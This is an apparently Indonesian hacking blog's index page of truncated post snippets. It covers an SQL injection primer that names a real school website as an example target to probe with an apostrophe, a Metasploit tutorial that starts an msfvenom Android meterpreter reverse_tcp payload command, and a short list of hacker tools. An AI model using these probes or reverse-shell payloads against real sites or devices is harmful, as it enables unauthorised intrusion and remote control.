KBCI INDONESIA

Assalamualaikum wr.wb Hai kembali lagi dengan saya Mr Blackhat oke kali ini kita akan bahas apa itu  SQL INJECTION  Dan  Bagaimana cara mengetahui celah dalam web dengan SQL INJECTION? APA ITU SQLI/SQL INJECTION? SQL injection  adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah  SQL  yang ada di memori aplikasi client. SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. Bagaimana cara mengetahui celah web dengan menggunakan SQLI? Hal yang pertama harus di ketahui oleh attacker untuk mengetahui apakah suatu situs terkena celah SQLI atau tidak adalah dengan cara membuat suatu error pada url tersebut,dengan cara menambah karakter (') [tanpa tanda kurung setelah angka/id pada situs tersebut. Contoh url yang memungkinkan terkenah celah SQLI: Web normal  http://www.woodfordps.vic.edu.au/curriculum.php?id=10 Lalu ...

Welcome to  Blogger KBCII INDONESIA Sabtu,21 Maret 2020 Hai guys kembali lagi di Mr blackhat oke kali ini kita akan membahas cara menggunakan metasploit. Tutorial Menggunakan Metasploit Bagi Pemula Assalamualaikum wr.wb. Halo guys kali ini saya akan berbagi tutorial cara menggunakan metasploit di Termux (Android) dan terminal (OS Kali Linux). Oke tanpa basi basi, kita langsung ke tutorialnya Siapkan dulu alat alatnya 1. Metasploit-Framework 2. Koneksi internet 3. Kesabaran :v langkahnya 1. kita buka terminal dahulu 2. Lalu kita ketikkan begini ifconfig untuk melihat alamat ip kita 3. Nah kita sudah mendapatkan alamat ip kita yang  192.168.43.91 . Setelah itu, ketikkan perintah ini "msfvenom -p android/meterpreter/reverse_tcp LHOST= 192.168....

Ini lah 5 perbedaan software yang di gunakan hacker 1.Nmap Nmap adalah sebuah aplikasi atau tool yang berfungsi untuk melakukan port scanning. Nmap dibuat oleh Gordon Lyon, atau lebih dikenal dengan nama Fyodor Vaskovich. Aplikasi ini digunakan untuk meng-audit jaringan yang ada. 2.Metasploid Metasploit adalah proyek keamanan komputer yang menyediakan informasi tentang kerentanan keamanan dan bantuan dalam pengujian penetrasi dan pengembangan tanda tangan IDS. Itu dimiliki oleh perusahaan keamanan Boston, yang berbasis di Massachusetts, Massachusetts. 3.Linux Linux adalah nama yang diberikan kepada kumpulan sistem operasi Mirip-Unix yang menggunakan Kernel Linux sebagai kernelnya. Linux merupakan proyek perangkat lunak bebas dan sumber terbuka terbesar di dunia.   4.Jhon the ripper John the Ripper adalah alat perangkat lunak peretas kata sandi gratis. Awalnya dikembangkan untuk sistem operasi Unix, sekarang berjalan di lima belas platform yang berbeda (sebelas di antara...